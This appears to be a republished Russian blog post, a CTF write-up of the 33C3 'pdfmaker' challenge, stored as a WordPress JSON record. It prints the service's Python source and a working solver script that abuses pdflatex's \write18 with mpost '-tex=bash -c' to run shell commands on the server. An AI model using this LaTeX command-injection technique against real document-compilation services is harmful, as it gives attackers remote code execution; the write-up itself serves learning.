{"id":283323,"date":"2016-12-31T02:40:04","date_gmt":"2016-12-30T23:40:04","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=283323"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=283323","title":{"rendered":"33C3 CTF \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c LaTeX&#8217;\u0430 \u0432 \u0437\u0430\u0434\u0430\u043d\u0438\u0438 pdfmaker"},"content":{"rendered":"<p>\u042d\u0442\u043e\u0442 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0439 write-up \u0431\u0443\u0434\u0435\u0442 \u043f\u043e\u0441\u0432\u044f\u0449\u0435\u043d \u0440\u0430\u0437\u0431\u043e\u0440\u0443 \u043e\u0434\u043d\u043e\u0433\u043e \u0438\u0437 \u0437\u0430\u0434\u0430\u043d\u0438\u0439 \u0441 \u043d\u0435\u0434\u0430\u0432\u043d\u0435\u0433\u043e CTF <a href=\"https:\/\/33c3ctf.ccc.ac\">33\u04213<\/a>. \u0417\u0430\u0434\u0430\u043d\u0438\u044f \u0435\u0449\u0451 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u043f\u043e <a href=\"https:\/\/33c3ctf.ccc.ac\/challenges\/\">\u0441\u0441\u044b\u043b\u043a\u0435<\/a>, \u0430 \u043f\u043e\u043a\u0430 \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u0435 <i>pdfmaker<\/i> \u0438\u0437 \u0440\u0430\u0437\u0434\u0435\u043b\u0430 <i>Misc<\/i>.<br \/>  <a name=\"habracut\"><\/a><br \/>  \u0421\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e, \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0437\u0430\u0434\u0430\u043d\u0438\u044f:  <\/p>\n<blockquote><p>Just a tiny <a href=\"https:\/\/33c3ctf.ccc.ac\/uploads\/pdfmaker-023c4ad945cb421a8bec1013bddf2bab5f77f77a.tar.xz\">application<\/a>, that lets the user write some files and compile them with pdflatex. What can possibly go wrong?<\/p>\n<p>  nc 78.46.224.91 24242  <\/p><\/blockquote>\n<p>  \u041a \u0437\u0430\u0434\u0430\u043d\u0438\u044e \u043f\u0440\u0438\u043b\u0430\u0433\u0430\u043b\u0441\u044f \u0441\u043a\u0440\u0438\u043f\u0442, \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c \u0441\u0435\u0440\u0432\u0438\u0441\u0430:  <\/p>\n<div class=\"spoiler\"><b class=\"spoiler_title\">pdfmaker_public.py<\/b><\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"python\">#!\/usr\/bin\/env python2.7 # -*- coding: utf-8 -*-  import signal import sys from random import randint import os, pipes from shutil import rmtree from shutil import copyfile import subprocess  class PdfMaker:    def cmdparse(self, cmd):     fct = {       'help': self.helpmenu,       '?': self.helpmenu,       'create': self.create,       'show': self.show,       'compile': self.compilePDF,       'flag': self.flag     }.get(cmd, self.unknown)     return fct    def handle(self):     self.initConnection()     print &quot; Welcome to p.d.f.maker! Send '?' or 'help' to get the help. Type 'exit' to disconnect.&quot;     instruction_counter = 0     while(instruction_counter &lt; 77):       try:         cmd = (raw_input(&quot;&gt; &quot;)).strip().split()         if len(cmd) &lt; 1:            continue         if cmd[0] == &quot;exit&quot;:           self.endConnection()           return         print self.cmdparse(cmd[0])(cmd)         instruction_counter += 1       except Exception, e:         print &quot;An Exception occured: &quot;, e.args         self.endConnection()         break     print &quot;Maximum number of instructions reached&quot;     self.endConnection()    def initConnection(self):     cwd = os.getcwd()     self.directory = cwd + &quot;\/tmp\/&quot; + str(randint(0, 2**60))     while os.path.exists(self.directory):       self.directory = cwd + &quot;\/tmp\/&quot; + str(randint(0, 2**60))     os.makedirs(self.directory)     flag = self.directory + &quot;\/&quot; + &quot;33C3&quot; + &quot;%X&quot; % randint(0, 2**31) +  &quot;%X&quot; % randint(0, 2**31)     copyfile(&quot;flag&quot;, flag)     def endConnection(self):     if os.path.exists(self.directory):       rmtree(self.directory)    def unknown(self, cmd):     return &quot;Unknown Command! Type 'help' or '?' to get help!&quot;    def helpmenu(self, cmd):     if len(cmd) &lt; 2:       return &quot; Available commands: ?, help, create, show, compile.\\n Type 'help COMMAND' to get information about the specific command.&quot;     if (cmd[1] == &quot;create&quot;):       return (&quot; Create a file. Syntax: create TYPE NAME\\n&quot;               &quot; TYPE: type of the file. Possible types are log, tex, sty, mp, bib\\n&quot;               &quot; NAME: name of the file (without type ending)\\n&quot;               &quot; The created file will have the name NAME.TYPE&quot;)     elif (cmd[1] == &quot;show&quot;):       return (&quot; Shows the content of a file. Syntax: show TYPE NAME\\n&quot;               &quot; TYPE: type of the file. Possible types are log, tex, sty, mp, bib\\n&quot;               &quot; NAME: name of the file (without type ending)&quot;)     elif (cmd[1] == &quot;compile&quot;):       return (&quot; Compiles a tex file with the help of pdflatex. Syntax: compile NAME\\n&quot;               &quot; NAME: name of the file (without type ending)&quot;)    def show(self, cmd):     if len(cmd) &lt; 3:       return &quot; Invalid number of parameters. Type 'help show' to get more info.&quot;     if not cmd[1] in [&quot;log&quot;, &quot;tex&quot;, &quot;sty&quot;, &quot;mp&quot;, &quot;bib&quot;]:       return &quot; Invalid file ending. Only log, tex, sty and mp allowed&quot;      filename = cmd[2] + &quot;.&quot; + cmd[1]     full_filename = os.path.join(self.directory, filename)     full_filename = os.path.abspath(full_filename)      if full_filename.startswith(self.directory) and os.path.exists(full_filename):       with open(full_filename, &quot;r&quot;) as file:         content = file.read()     else:       content = &quot;File not found.&quot;     return content    def flag(self, cmd):     pass    def create(self, cmd):     if len(cmd) &lt; 3:       return &quot; Invalid number of parameters. Type 'help create' to get more info.&quot;     if not cmd[1] in [&quot;log&quot;, &quot;tex&quot;, &quot;sty&quot;, &quot;mp&quot;, &quot;bib&quot;]:       return &quot; Invalid file ending. Only log, tex, sty and mp allowed&quot;      filename = cmd[2] + &quot;.&quot; + cmd[1]     full_filename = os.path.join(self.directory, filename)     full_filename = os.path.abspath(full_filename)      if not full_filename.startswith(self.directory):       return &quot;Could not create file.&quot;      with open(full_filename, &quot;w&quot;) as file:       print &quot;File created. Type the content now and finish it by sending a line containing only '\\q'.&quot;       while 1:         text = raw_input(&quot;&quot;);         if text.strip(&quot;\\n&quot;) == &quot;\\q&quot;:           break         write_to_file = True;         for filter_item in (&quot;..&quot;, &quot;*&quot;, &quot;\/&quot;, &quot;\\\\x&quot;):           if filter_item in text:             write_to_file = False             break         if (write_to_file):           file.write(text + &quot;\\n&quot;)     return &quot;Written to &quot; + filename + &quot;.&quot;    def compilePDF(self, cmd):     if (len(cmd) &lt; 2):       return &quot; Invalid number of parameters. Type 'help compile' to get more info.&quot;     filename = cmd[1] + &quot;.tex&quot;     full_filename = os.path.join(self.directory, filename)     full_filename = os.path.abspath(full_filename)     if not full_filename.startswith(self.directory) or not os.path.exists(full_filename):       return &quot;Could not compile file.&quot;     compile_command = &quot;cd &quot; + self.directory + &quot; && pdflatex &quot; + pipes.quote(full_filename)     compile_result = subprocess.check_output(compile_command, shell=True)     return compile_result  def signal_handler_sigint(signal, frame):   print 'Exiting...'   pdfmaker.endConnection()   sys.exit(0)  if __name__ == &quot;__main__&quot;:   signal.signal(signal.SIGINT, signal_handler_sigint)    pdfmaker = PdfMaker()   pdfmaker.handle()<\/code><\/pre>\n<p>  <\/div>\n<\/div>\n<p>  \u041f\u043e\u0441\u043b\u0435 \u0438\u0437\u0443\u0447\u0435\u043d\u0438\u044f \u0441\u043a\u0440\u0438\u043f\u0442\u0430, \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043f\u043e\u043d\u044f\u0442\u043d\u043e, \u0447\u0442\u043e \u043c\u044b \u0438\u043c\u0435\u0435\u043c \u0434\u0435\u043b\u043e \u0441 <i>pdflatex<\/i>. \u0411\u044b\u0441\u0442\u0440\u044b\u0439 \u043f\u043e\u0438\u0441\u043a \u0432 \u0433\u0443\u0433\u043b \u0432\u044b\u0434\u0430\u0451\u0442 \u0441\u0441\u044b\u043b\u043a\u0443 \u043d\u0430 <a href=\"http:\/\/scumjr.github.io\/2016\/11\/28\/pwning-coworkers-thanks-to-latex\/\">\u0441\u0442\u0430\u0442\u044c\u044e<\/a> \u0441 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435\u043c \u043d\u0435\u0434\u0430\u0432\u043d\u0435\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u0422\u0430\u043a \u0436\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u043c, \u0447\u0442\u043e \u043d\u0443\u0436\u043d\u044b\u0439 \u043d\u0430\u043c \u0444\u043b\u0430\u0433 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0441 <i>33C3<\/i> \u0438 \u0434\u0430\u043b\u0435\u0435 \u0438\u0434\u0451\u0442 \u0440\u0430\u043d\u0434\u043e\u043c\u043d\u0430\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c.<\/p>\n<p>  \u0412\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u0438\u043c, \u0438 \u043d\u0430\u043f\u0438\u0448\u0435\u043c \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 \u0434\u043b\u044f \u0431\u043e\u043b\u0435\u0435 \u0443\u0434\u043e\u0431\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434:  <\/p>\n<pre><code class=\"python\">#!\/usr\/bin\/python3 import socket  def send(cmd): \ts = socket.socket(socket.AF_INET, socket.SOCK_STREAM) \ts.connect((&quot;78.46.224.91&quot;, 24242)) \tx = '''verbatimtex \\documentclass{minimal}\\begin{document} etex beginfig (1) label(btex blah etex, origin); endfig; \\end{document} bye \\q ''' \ts.send('create mp x\\n'.encode()) \ts.send(x.encode())  \ts.send('create tex test\\n'.encode()) \ttest = '''\\documentclass{article}\\begin{document} \\immediate\\write18{mpost -ini &quot;-tex=bash -c (%s)&gt;flag.tex&quot; &quot;x.mp&quot;} \\end{document} \\q ''' %(cmd) \ts.sendall(test.encode()) \ts.send('compile test\\n'.encode()) \ts.send('show tex flag\\n'.encode()) \tdata = s.recv(90240) \tdata = data.decode() \ts.close() \treturn data  while True: \tcmd = input('&gt; ') \tcmd = cmd.replace(' ','${IFS}') \tprint(send(cmd))\t <\/code><\/pre>\n<p>  \u041f\u043e\u0441\u043b\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430, \u0432\u044b\u044f\u0441\u043d\u0438\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u0441\u0438\u043c\u0432\u043e\u043b \u0441\u043b\u0435\u0448\u0430, \u043d\u0435 \u0432\u0435\u0440\u043d\u043e \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442\u0441\u044f, \u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u0430, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043e\u043d \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f. \u0428\u0435\u043b\u043b \u0443 \u043d\u0430\u0441 \u0435\u0441\u0442\u044c, \u043e\u0441\u0442\u0430\u043b\u043e\u0441\u044c \u0432\u044b\u0432\u0435\u0441\u0442\u0438 \u0444\u043b\u0430\u0433 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439:  <\/p>\n<pre><code class=\"bash\">ls | grep 33 | xargs cat<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/0b0\/d6a\/412\/0b0d6a412f104c44b87667e29452de60.png\"\/><\/p>\n<p>  \u0417\u0430\u0434\u0430\u043d\u0438\u0435 \u043f\u0440\u043e\u0439\u0434\u0435\u043d\u043e, \u0444\u043b\u0430\u0433 \u043d\u0430\u0439\u0434\u0435\u043d!<br \/> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habrahabr.ru\/post\/318850\/\"> https:\/\/habrahabr.ru\/post\/318850\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u042d\u0442\u043e\u0442 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0439 write-up \u0431\u0443\u0434\u0435\u0442 \u043f\u043e\u0441\u0432\u044f\u0449\u0435\u043d \u0440\u0430\u0437\u0431\u043e\u0440\u0443 \u043e\u0434\u043d\u043e\u0433\u043e \u0438\u0437 \u0437\u0430\u0434\u0430\u043d\u0438\u0439 \u0441 \u043d\u0435\u0434\u0430\u0432\u043d\u0435\u0433\u043e CTF <a href=\"https:\/\/33c3ctf.ccc.ac\">33\u04213<\/a>. \u0417\u0430\u0434\u0430\u043d\u0438\u044f \u0435\u0449\u0451 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u043f\u043e <a href=\"https:\/\/33c3ctf.ccc.ac\/challenges\/\">\u0441\u0441\u044b\u043b\u043a\u0435<\/a>, \u0430 \u043f\u043e\u043a\u0430 \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u0435 <i>pdfmaker<\/i> \u0438\u0437 \u0440\u0430\u0437\u0434\u0435\u043b\u0430 <i>Misc<\/i>.  <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-283323","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/283323","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=283323"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/283323\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=283323"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=283323"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=283323"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}